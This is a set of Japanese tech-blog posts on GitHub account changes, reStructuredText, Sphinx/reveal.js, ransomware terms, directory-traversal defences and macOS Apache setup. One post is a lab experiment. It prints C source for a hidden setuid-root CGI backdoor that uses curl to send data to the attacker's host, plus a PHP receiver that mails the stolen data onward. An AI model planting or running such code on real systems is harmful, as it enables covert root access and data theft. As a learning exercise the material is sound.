github.comのアカウント変更した時のケア事項
概要
github.com
のアカウントを変更したくなりましたので、変更方法と変更した後のケア事項をまとめてました。
変更方法
- 画面右上のプルダウンメニューから「Setting」を選択
Account setting
メニューから「Acount」を選択- 「Change username」ボタンを押下
- 警告画面が表示されるが、
I understand ...
ボタンを押下 - 次にはアカウント名を変更する画面で変更できる(使われているものはNG)
変更後のケア事項
git config user.nameの設定
- 現在の設定内容をみず確認する
$ git config --global user.name
- 変更後のアカウント名を設定
$ git config --global user.name <new username>
- 変更後他の設定も含めて確認する
$ git config --global -l
以前git cloneしたローカルのリポジトリへのケア
数分だけ、以下の操作を実施。
$ cd <ローカルのリポジトリ> $ git remote -v # 変更前の状態 # 変更前 origin git@github.com:<old_name>/<repo_name>.git (fetch) origin git@github.com:<old_name>/<repo_name>.git (push) # 新しいusernameに変更 $ git remote set-url origin git@github.com:<new_name>/<repo_name>.git $ git remote -v # 確認(以下になっていればOK) origin git@github.com:<new_name>/<repo_name>.git (fetch) origin git@github.com:<new_name>/<repo_name>.git (push)
これで普通に$ git clone
や$ git push
など新しいアカウントに対して操作できるはず。
参考資料(THX!)
reStructuredTextの記述方法
概要
軽量マークアップ言語である reStructuredText
(reST
と略する事が多い)の記述方法をまとめてみる。
セクション(見出し)
セクションは全部で6レベル分まで作ることができ、出現した順番にレベル分けされる。
最も外側のタイトル(HTMLのH1のような)になり、2番目のスタイルがサブタイトル(HTMLのH2のような)になる、等など。
以下の文字が推奨されている
= - ` : . ' " ~ ^ _ * + #
インラインマークアップ(文字の修飾)
- 斜体:
*text*
- 太字:
**text**
- リテラル(そのまま表示):``(半角バッククォート×2)
例:``/Users/name/dev``は/Users/name/dev
のように表示される。
箇条書き
箇条書きの最初の1行の前は必ず空行であける必要がある。
番号なし箇条書き
*、-、+の3種類で表現できる。入れ子(ネスト)する場合は、1行を空けて、前の行のテキストと同じ縦位置に合わせて記号から書く。 構文ダイアグラム
+------+-----------------------+ | "- " | list item | +------| (body elements)+ | +-----------------------+
番号あり箇条書き
順序付きの半角数字、大文字/小文字の英字アルファベット、大文字/小文字のローマ数字が使える。
また、「#.」を使えれば、自動的に数字を順番につけることができる。
以下3種類の書式が使える:
- ピリオドを後ろに付ける: "1.", "A.", "a.", "I.", "i."
- 丸括弧で括る: "(1)", "(A)", "(a)", "(I)", "(i)"
- 丸括弧を後ろに付ける: "1)", "A)", "a)", "I)", "i)"
構文ダイアグラム
+-------+----------------------+ | "1. " | list item | +-------| (body elements)+ | +----------------------+
引用ブロック
引用前の行との間に1行を空けた状態で、先頭にインデント(spaceを2つとか)してから書く内容が引用となる。引用分に改行がある場合、そのままでは改行が無視されるため、改行のままで引用されたい場合は、「ラインブロック」(各行の先頭に「|」を入れる)を使う。
例:
この行は引用前 | これは引用行1 | これは引用行2 | これは引用行3 この行は引用後
コードブロック
::
の後1行開けてから1段インデントして書く。
ふつうの文章:: コードを書く ふつうの文章
残念ながら、2021/9/24時点でsphinx-revealjs 1.3.0
でビルドしたコードブロックは崩れている模様($ make html
ではOK)
リンク
以下3つの方法でもリンクを作ることが可能
* http://sphinx-doc.org/ * `github <https://github.com>`_ * Sphinx-users.jp_ .. _Sphinx-users.jp: http://sphinx-users.jp/
以下のように出力される(画像を貼り付けたが、実際にHTML上はリンクになっている)
画像/図形
.. image:: <path to image file> :scale: <1〜100、e.g. 50> :alt: <altテキストを書く> :align: <left | center | right>
上記<path to image file>
の所は、source
ディレクトリから見た相対/絶対パスを書く。書かれた画像ファイルは、ビルド時にbuild
配下の_images
ディレクトリ配下にコピーされてindex.html
から見れるようになる。
また、キャプション付き図形を表現する場合、.. image::
の変わりに.. figure::
を書く、例:
.. figure:: <path to image file> :scale: <1〜100、e.g. 50> :alt: <altテキストを書く> :align: <left | center | right> caption for the figure.
注意:上記の.. figure::
のキャプション設定機能は、$ make html
の出力html
ファイルには対応しているが、$ make revealjs
には対応していない。
表(テーブル)
シンプルな表
======= ====== ====== col1 col2 col3 ======= ====== ====== row1 a b row2 a b row3 a b ======= ====== ======
シンプルな表の制約条件:1列名に複数の行を書くことができない。
また、$ make revealjs
でビルドして出力したhtml
ファイルには、横の罫線はあるた縦の罫線はない。
グリッドテーブル
セルのグリッドを自分で線描する必要がある。
+------------------------+------------+----------+ | Header row, column 1 | Header 2 | Header 3 | | (header rows optional) | | | +========================+============+==========+ | body row 1, column 1 | column 2 | column 3 | +------------------------+------------+----------+ | body row 2 | ... | ... | +------------------------+------------+----------+
罫線を書く上での制約条件:縦での位置を100%揃えないとビルドで警告され正しく出力できないようだ。
また、$ make revealjs
でビルドして出力したhtml
ファイルには、横の罫線はあるた縦の罫線はない。
セルの結合(グリッドテーブルしかできない)
下記のように2行目の2、3列、3行目の1、2列をそれぞれ結合させた例。
+------------------------+------------+----------+ | Header row, column 1 | Header 2 | Header 3 | | (header rows optional) | | | +========================+============+==========+ | body row 1, column 1 | column 2 | +------------------------+------------+----------+ | body row 2 | ... | +------------------------+------------+----------+
$ make html
で出力したhtml
ファイルは以下のようになる。
しかし、$ make revealjs
した場合は、以下のようにみえて結合されていることが分かりにくい。
個人的な感想:グリッドテーブルを使うのはやはり煩雑であまり使う気にならない。
csv-table
カンマ区切り形式を利用して表を作ることができる。
.. csv-table:: Frozen Delights! :header: "Treat", "Quantity", "Description" :widths: 15, 10, 30 "Albatross", 2.99, "On a stick!" "Crunchy Frog", 1.49, "If we took the bones out, it wouldn't be crunchy, now would it?"
普通のhtml
では
reveal.js
では
のように見えた(グリッドテーブルより断然に簡単で見た目もいい!)
list-table
入れ子の箇条書きのような感覚でテーブルを作ることが可能。
.. list-table:: Frozen Delights! :widths: 15 10 30 :header-rows: 1 * - Treat - Quantity - Description * - Albatross - 2.99 - On a stick! * - Crunchy Frog - 1.49 - If we took the bones out, it wouldn't be crunchy, now would it?
.. csv-table::
と比べて、.. list-table::
は厳密に縦位置を合わせていないとビルド時に警告が出て正しく生成できんたいため、使い勝手が劣るように思われる。
セルの中にリストを入れる
先程の.. list-table::
で表現するとこうなる
.. list-table:: 各国の代表都市 :widths: 15 15 :header-rows: 1 * - 国 - 代表都市 * - 日本 - * 東京 * 大阪 * - 中国 - * 北京 * 上海 * 広州
ビルド後の出力:
やはり`.. list-table::
のインデント合わせに悩まされている(なぜpython
はインデントをこれほど厳密にチェックしているのか?)
試しに、.. csv-table::
で同じことをできるかを色々試した所、以下の書き方ではうまく行ったことが確認できた。
.. csv-table:: 各国の代表都市 :header: "国", "代表都市" :widths: 15, 15 "日本", " * 東京 * 大阪" "中国", " * 北京 * 上海 * 広州"
.. csv-table::
でセルにリストを書く場合も、縦位置をあわせることを意識する必要があるが、構造がより簡単にできるので他のテーブル形式よりは簡単で汎用的に使えると感じた。
注釈と警告
注釈
.. note:: これは注釈である。
警告
.. warning:: これは警告である。
なお、注釈と警告両方とも、$ make revealjs
での出力では区別がなく、質素なものであまり使えない。
他のファイルのインクルード
ファイルをreStructuredTextとして取り込みたい場合、
.. include:: include.rst
ファイルを引用として取り込みたい場合、
.. literalinclude:: include.rst :language: rst :linenos:
上の:linenos:
は番号を付けるオプション。
コメント
.. This is a comment. This whole indented block is a comment. Still in the comment.
参考資料(THX!)
Sphinxとsphinx-revealjsの勉強
概要
Sphinxを使ったドキュメント作成を勉強するためにまとめたもの。
概念の理解
- Sphinx(スフィンクス)
python
製のプレゼンテーションビルダー(知的で美しいドキュメントを簡単に作れるようにするツール)。
Georg Brandl
によって開発され、BSD
ライセンスのもとで公開されている。
Sphinx
はreStructuredText
という記法を使用して、reST
ファイル(拡張子.rst
)を作成する。 - 特徴
- sphinx-revealjs
Sphinx拡張の1つ、Sphinxで読み取った入力ソースを、Reveal.jsのプレゼンテーション形式のHTMLとして出力するもの。- 特徴
SphinxのビルトインHTML出力では表現できないReveal.jsの構造に合わせた出力をするようになっている。
- 特徴
- Reveal.js
Hakim El Hattabによって開発されている、HTMLでのプレゼンテーションを作成するためのフレームワーク。- 特徴
左右移動でメインセッションの進行、上下移動でサブセッションの進行という表現。 - github.com
https://github.com/hakimel/reveal.js
- 特徴
動かしてみる
まずは簡単なものから
- 仮想環境を準備
$ mkdir -p ~/dev/sphinx $ cd !$ $ python -m venv .venv $ source .venv/bin/activate (.venv) $
- Sphinxドキュメンテーションを新規作成
$ pip install "Sphinx==3.4.3" "sphinx-revealjs==1.0.1" (省略) Successfully installed Jinja2-3.0.1 MarkupSafe-2.0.1 Pygments-2.10.0 Sphinx-3.4.3 alabaster-0.7.12 babel-2.9.1 certifi-2021.5.30 charset-normalizer-2.0.6 docutils-0.17.1 idna-3.2 imagesize-1.2.0 packaging-21.0 pyparsing-2.4.7 pytz-2021.1 requests-2.26.0 snowballstemmer-2.1.0 sphinx-revealjs-1.0.1 sphinxcontrib-applehelp-1.0.2 sphinxcontrib-devhelp-1.0.2 sphinxcontrib-htmlhelp-2.0.0 sphinxcontrib-jsmath-1.0.1 sphinxcontrib-qthelp-1.0.3 sphinxcontrib-serializinghtml-1.1.5 urllib3-1.26.7
- クイックスタートユーティリティsphinx-quickstartを実行
$ sphinx-quickstart Sphinx 3.4.3 クイックスタートユーティリティへようこそ。 以下の設定値を入力してください(Enter キーのみ押した場合、 かっこで囲まれた値をデフォルト値として受け入れます)。 選択されたルートパス: . Sphinx 出力用のビルドディレクトリを配置する方法は2つあります。 ルートパス内にある "_build" ディレクトリを使うか、 ルートパス内に "source" と "build" ディレクトリを分ける方法です。 > ソースディレクトリとビルドディレクトリを分ける(y / n) [n]: y プロジェクト名は、ビルドされたドキュメントのいくつかの場所にあります。 > プロジェクト名: My presentation > 著者名(複数可): Liu Ganxiang > プロジェクトのリリース []: ドキュメントを英語以外の言語で書く場合は、 言語コードで言語を選択できます。Sphinx は生成したテキストをその言語に翻訳します。 サポートされているコードのリストについては、 https://www.sphinx-doc.org/en/master/usage/configuration.html#confval-language を参照してください。 > プロジェクトの言語 [en]: ja ファイル /Users/■■■/dev/sphinx/source/conf.py を作成しています。 ファイル /Users/■■■/dev/sphinx/source/index.rst を作成しています。 ファイル /Users/■■■/dev/sphinx/Makefile を作成しています。 ファイル /Users/■■■dev/sphinx/make.bat を作成しています。 終了:初期ディレクトリ構造が作成されました。 マスターファイル /Users/■■■/dev/sphinx/source/index.rst を作成して 他のドキュメントソースファイルを作成します。次のように Makefile を使ってドキュメントを作成します。 make builder "builder" はサポートされているビルダーの 1 つです。 例: html, latex, または linkcheck。
ディレクトリ構造を確認してみると
$ ls -R .: Makefile build make.bat source ./build: ./source: _static _templates conf.py index.rst ./source/_static: ./source/_templates:
になっている。
- プレゼン資料の中身を書く
生成されたファイルの中にsource/index.rst
があり、これはドキュメントとして扱うソースになる。バックアップしてから適当な内容を入れてみる。
$ cp -p source/index.rst{,.org} $ vim source/index.rst ======================================== Sphinxでのプレゼンテーションを初体験する ======================================== 準備 ==== 準備内容1 ------------------------ 適当に何かを書く 準備内容2 ------------------------ 適当に何かを書く。 内容中身 ======== 内容を書く
$ vim source/conf.py # -- General configuration --------------------------------------------------- # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ # 使用する拡張としてsphinx-revealjsを新規追加 'sphinx_revealjs', ]
最低限ここだけを編集するだけで、プレゼン用のビルドができるようになる。
次はビルドする:
$ make revealjs Sphinx v3.4.3 を実行中 翻訳カタログをロードしています [ja]... 完了 出力先ディレクトリを作成しています... 完了 ビルド中 [mo]: 更新された 0 件のpoファイル ビルド中 [revealjs]: 更新された 1 件のソースファイル 環境データを更新中[新しい設定] 1 件追加, 0 件更新, 0 件削除 ソースを読み込み中...[100%] index 更新されたファイルを探しています... 見つかりませんでした 環境データを保存中... 完了 整合性をチェック中... 完了 preparing documents... 完了 出力中...[100%] index 索引を生成中... genindex 完了 追加のページを出力中... search 完了 copying static files... 完了 extraファイルをコピー中... 完了 Japanese (code: ja) の検索インデックスを出力... 完了 オブジェクト インベントリを出力... 完了 ビルド 成功. HTMLページはbuild/revealjsにあります。
これで、静的なHTMLファイルがbuild/revealjs
配下に作成され、index.html
をブラウザでみれる。
- 改良1:テーマを変えてみる
sphinx-revaljs
では何も設定がない場合、black
がデフォルトとして動作する。
Reveal.jsでは組み込みでのカラーテーマがいくつか提供されているため、その中から変えてみる。 - Reveal.jsの組み込みテーマ一覧
beige / black / blood / league / moon / night / serif / simple / sky / solarized / white
moon
に変えてみる
$ vim source/conf.py
revealjs_style_theme = 'moon'
設定しただけではすぐ反映されないため、再度ビルドする。
$ make revealjs
再度ブラウザでみると、背景が変わった。
- 改良2:CSSで見た目を変える
Reveal.jsのテーマでは、各セッションの見出しの英字テキストが全て大文字になるようで、CSSを作ってこの設定を解除する。
Sphinxでドキュメントをまたいで使う静的ファイルは_static
フォルダで管理することが多いため、その配下に以下のCSS
ファイルを配置する。
$ vim source/_static/slides.css .reveal h1, .reveal h2, .reveal h3, .reveal h4, .reveal h5 { text-transform: none; }
- ビルド時にCSSを組み込むようにする
CSSファイルを用意しただけでは取り込んでくれないので、source/conf.py
を編集して「プレゼンテーションHTML生成時にCSSを使用する」設定を加える。
$ vim source/conf.py
revealjs_static_path = html_static_path
revealjs_css_files = [
"slides.css",
]
再びmake revealjs
して、するとブラウザからみたら
SPHINX
がSphinx
に変わった。
SphinxでHTML出力の場合
上の例だと、sphinx-revealjs
拡張機能でHTML(プレゼン)した事例だが、本来sphinx
からHTML
を出力した場合の結果も確認しておく。
$ make html
でビルドし、build/html
配下に出力され、ブラウザからindex.html
を確認すると、以下のようになる
カラーテーマの設定がない普通のHTML
ページになる。
次は→Reveal.jsプラグインやSphinx拡張を活用して、質の向上を目指す を勉強する。
参考資料(THX!)
ランサムウェア(Ransomware)について
概要
ランサムウェア(Ransomware、中国語「勒索软件」)についてのメモ書き。
仕組み
一般の攻撃者グループの分業体制。
- ランサムウエアの入手
運営クラウドサービス「RaaS(Ransomware as a Service)」が用意。
被害者から得た身代金(みのしろきん)の10%〜30%。 - アフィリエイト
RaaSを利用して企業や組織に侵入してランサムウエアをまいたりデータを盗んだりする人。
残りの身代金。
(引用:https://xtech.nikkei.com/atcl/nxt/column/18/00676/090100087/)
関連用語
- ransom(ランサム)
身代金、中国語「赎金」 - ランサムウェアの種類
- 暗号化ランサムウェア
- AIDS Trojan(1989年、最初のランサムウェア、攻撃に共通鍵暗号を使用)
- RSA公開鍵暗号を使用
- 非暗号化ランサムウェア
- WinLockなど
- 暗号化ランサムウェア
- 二重恐喝(Double-Extortion Ransomware Attack)
暗号化と共に情報の公開も恐喝する手法。 - ランサムノート ランサムウエアの脅迫画面。
ディレクトリトラバーサル攻撃の対策
ディレクトリトラバーサル攻撃の対策
定義
ディレクトリトラバーサル : Directory Traversalとは、
サーバー内の非公開ディレクトリへ不正アクセスすること。攻撃されると情報漏えいや改ざんなどの被害が考えられる。
対策
基本対策
- 非公開ディレクトリにアクセス拒否を設定(以下の例はapacheの場合) 以下の設定では、「/」以下全てのディレクトリをアクセス拒否設定した後、ドキュメントルート以下に対してすべてアクセス許可設定している。
<Directory /> Require all denied </Directory> <Directory /var/www/html> Require all granted </Directory>
$ chmod 700 ../private
入力データに対してサニタイズ処理
- 「/」を含むパス名を禁止する(「/」のエンコード値「%2f」も要注意)
- basename関数を使ってディレクトリ名を消す
WAF導入して不正アクセスを検知
不正アクセスを検知すると、403 Forbiddenを出して遮断してくれる。
他の対策もあるが、上記が一番よく使われて有効な対策であろう。
参考資料
ホスト-コンテナ間でバックドア設置の簡単実験
概要
練習がてらで、ホストと docker によって構築したコンテナとの間で、簡単なバックドアの設置、および情報送信の簡単な実験を行う。
ホストとコンテナの概要
ホスト : macOS Catalina 10.15.7(攻撃者の環境) コンテナ : CentOS8(攻撃対象の環境)
シナリオ
- 攻撃者が何かしらの手段で、攻撃対象の環境に侵入成功、バックドアを設置した。
- バックドアでは、setuid(0) にし、root 権限で実行される(重要な機微情報を不正取得など)。
- バックドアは自ら、不正取得した機微情報を攻撃者の環境に情報送信。
- 攻撃者の環境では、バックドアから受信したら、自動的に攻撃者にメール送信。
使う技術の整理
コンテナからホストへの通信
$ curl http://host.docker.internal:[port]
説明:「http://host.docker.internal:」部分は固定で、[port]は、ホスト側の受信ポート。
なお、コンテナから自身への通信する場合は、
$ curl http://[コンテナID]:[コンテナ側port]
例えば、私の macOC 上に構築したコンテナの場合は、以下のようになっている
$ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES af6b538f8bee centos:centos8 "/sbin/init" 5 months ago Up 10 hours 0.0.0.0:80->8080/tcp centos8
ため、次のように、コンテナから自身の 8080 ポートにアクセスできる
$ curl http://af6b538f8bee:8080 <html> <body> Hello, World! </body> </html>
同じ結果を、ホストから次のようにアクセスして取得できる
$ curl http://localhost[:80] <html> <body> Hello, World! </body> </html>
なぜならば、ホストとコンテナ間は、「ホスト側のポート番号 -> コンテナ内のポート番号」には、以下のようになっている、つまり
0.0.0.0:80->8080/tcp
ホストから 80 ポートへのアクセスをコンテナの 8080 ポートにマッピングする意味。
実験の詳細
バックドアの設置
攻撃対象の環境に web server が起動され、cgi プログラムが利用可能と仮定する。また、攻撃者が以前不正侵入した時に、以下のような cgi プログラムを設置したと仮定する。
$ ls -la /usr/share/nginx/cgi-bin/.exploit -rwsr-xr-x 1 root root 12856 4月 11 00:26 /usr/share/nginx/cgi-bin/.exploit
上から、.exploit の cgi プログラムの以下のことが見て分かる
- 所有者が root
- 実行する際に、所有者 root の権限で実行することが可能になる(rwsr-xr-x)
上記 .exploit プログラムのソースコード(実験のため、簡易的ものになっている)
vim /usr/share/nginx/cgi-bin/.exploit.c
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); char buf[1024]; // 実験のため、簡易的に // root権限で何かしら重要な機微情報を不正取得 char *info = "This%20is%20very%20sensitive%20personal%20informations"; snprintf(buf, 1024, "curl http://host.docker.internal:[port]/[受信プログラム]?msg=%s", info); system(buf); }
※buf に入れる文字列は一部加工している(実際のプログラムとは異なる)
※port : ホスト側で httpd の待受(LISTEN)ポート番号
バックドアからの情報送信
攻撃者の環境(ホスト)から、攻撃対象の環境(コンテナ)にあるバックドアにアクセス(遠隔操作)する
$ curl http://localhost[:80]/cgi-bin/.exploit
この例は、ホスト側からのキックでバックドアに情報送信させるが、攻撃対象の環境の外から内への通信 が遮断されることを想定し、攻撃者は予めバックドアから自動送信できるよう、root ユーザで at や crontab などで定期ジョブを仕込んで、コンテナ内で cgi プログラムを実施し、ホストに情報送信する可能性も考えられる。
攻撃者への自動メール送信
バックドアからの情報受信ができたら、後は攻撃者が好きのようにできる。今回の実験では、攻撃者に自動メール送信することにした。以下が情報受信と自動メール送信を一緒にしたプログラムの例。
実験のため、文字列のエンコード等の処理は省いている。
$ cat blackhole.php <?php $msg = "待機中"; if (isset($_REQUEST['msg'])) { $msg = $_REQUEST['msg']; } // send mail mb_language("Japanese"); mb_internal_encoding("UTF-8"); $to = "xxxxx@yyyyy.com"; <= ダミーデータ $title = "情報あり!"; $message = "[$msg]"; $headers = "From: backdoor@centos8"; if (mb_send_mail($to, $title, $message, $headers)) { echo "Send mail succeed"; } else { echo "Send mail failed"; } ?>
実験の結果
シナリオ通りに、攻撃対象の環境(コンテナ)から情報が送信され、攻撃者の環境(ホスト)が受信し、攻撃者の元にメールが自動送信される実験結果が確認できた。
以上。
特別感謝
macOS ローカルに apache の立てる
概要
macOS に apache の Web Serverを立てるメモ書き。
環境
OS : macOS Catalina 10.15.7
入っている httpd と php のバージョン
$ httpd -v Server version: Apache/2.4.41 (Unix) $ php -v PHP 7.3.11 (cli) (built: Jun 5 2020 23:50:40) ( NTS )
これらをそのまま使う。
ポート
macOS に docker で CentOS8 のコンテナを作って、ホスト:80 <=> コンテナ:8080
をマッピングしているため、macOS に立てるWebサーバに 8888 ポートを使うことにする。
つまり、http://localhost:8888 である。
手順
apache の起動と動作確認
apache を起動
$ sudo apachectl start $ ps auxww | grep httpd
プロセスが立ち上がらない。。なぜだ
いろいろ考えた結果、同時に CentOS8 のコンテナが起動されて、コンテナ内で nginx の
Web Server が立ち上がっているため、ホスト側ではすでに 80/tcp が Listen 状態になっている。
$ netstat -na | grep "*.80" | grep LISTEN tcp46 0 0 *.80 *.* LISTEN
なので、httpd.conf を変更して、80 の Listen を 8888 に変更する。
httpd.conf の変更
ポート変更
<IfDefine SERVER_APP_HAS_DEFAULT_PORTS> Listen 8080 </IfDefine> <IfDefine !SERVER_APP_HAS_DEFAULT_PORTS> # Listen 80 Listen 8888 </IfDefine>
php を使えるようにする
下記1行のコメントアウトを外す。
#LoadModule php7_module libexec/apache2/libphp7.so
↓
LoadModule php7_module libexec/apache2/libphp7.so
apache を起動する
$ sudo apachectl start $ ps auxww | grep httpd $ ps auxww | grep httpd | grep -v grep _www 78894 0.0 0.0 4329508 1032 ?? S 9:04PM 0:00.00 /usr/sbin/httpd -D FOREGROUND _www 78893 0.0 0.0 4329508 1028 ?? S 9:04PM 0:00.00 /usr/sbin/httpd -D FOREGROUND _www 78892 0.0 0.0 4329508 1272 ?? S 9:04PM 0:00.00 /usr/sbin/httpd -D FOREGROUND _www 78885 0.0 0.0 4345892 2008 ?? S 9:04PM 0:00.01 /usr/sbin/httpd -D FOREGROUND root 78881 0.0 0.1 4329536 8636 ?? Ss 9:04PM 0:00.30 /usr/sbin/httpd -D FOREGROUND
ブラウザから http://localhost:8888
にアクセスすると
DocumentRoot
macOS では、ドキュメントルートは /Library/WebServer/Documents
である。
毎回ドキュメントルート配下に作るのは、拡張性と利便性に乏しいため、ユーザディレクトリを有効化する。
ユーザディレクトリを有効化
vim /etc/apache2/httpd.conf 下記2行のコメントアウトを削除する。
#LoadModule userdir_module libexec/apache2/mod_userdir.so
↓
LoadModule userdir_module libexec/apache2/mod_userdir.so
と
#Include /private/etc/apache2/extra/httpd-userdir.conf
↓
Include /private/etc/apache2/extra/httpd-userdir.conf
次に、vim /etc/apache2/extra/httpd-userdir.conf、次の行のコメントアウトを削除
#Include /private/etc/apache2/users/*.conf
↓
Include /private/etc/apache2/users/*.conf
ホームディレクトリに「Sites」ディレクトリの作成
すでに作成済の場合は不要
$ mkdir -p ~/Sites
{user}.conf の作成
ここでの {user} は、サーバのユーザ名のこと。自分は liu なので、次のように作成する。
※注 : macOS には、すでに作成されていたが、内容を変更する。
$ sudo vim /etc/apache2/users/liu.conf <Directory "/Users/liu/Sites/"> Options Indexes MultiViews Require all granted </Directory> ↓ <Directory "/Users/liu/Sites/"> AddType text/html .shtml .html AddHandler server-parsed .shtml .html Options Indexes MultiViews FollowSymlinks Includes AllowOverride all Require all granted </Directory>
ユーザディレクトリの動作確認
~/Sites 配下に、vim phpinfo.php
<?php phpinfo(); ?>
最終動作確認
httpd を再起動する $ sudo apachectl restart
ブラウザから http://localhost:8888/~liu/phpinfo.php
にアクセスする
問題なく予定通りの動作確認ができた。
httpd 自動起動するように設定
$ sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
/System/Library/LaunchDaemons/org.apache.httpd.plist: service already loaded
自動起動をやめる時は
$ sudo launchctl unload -w /System/Library/LaunchDaemons/org.apache.httpd.plist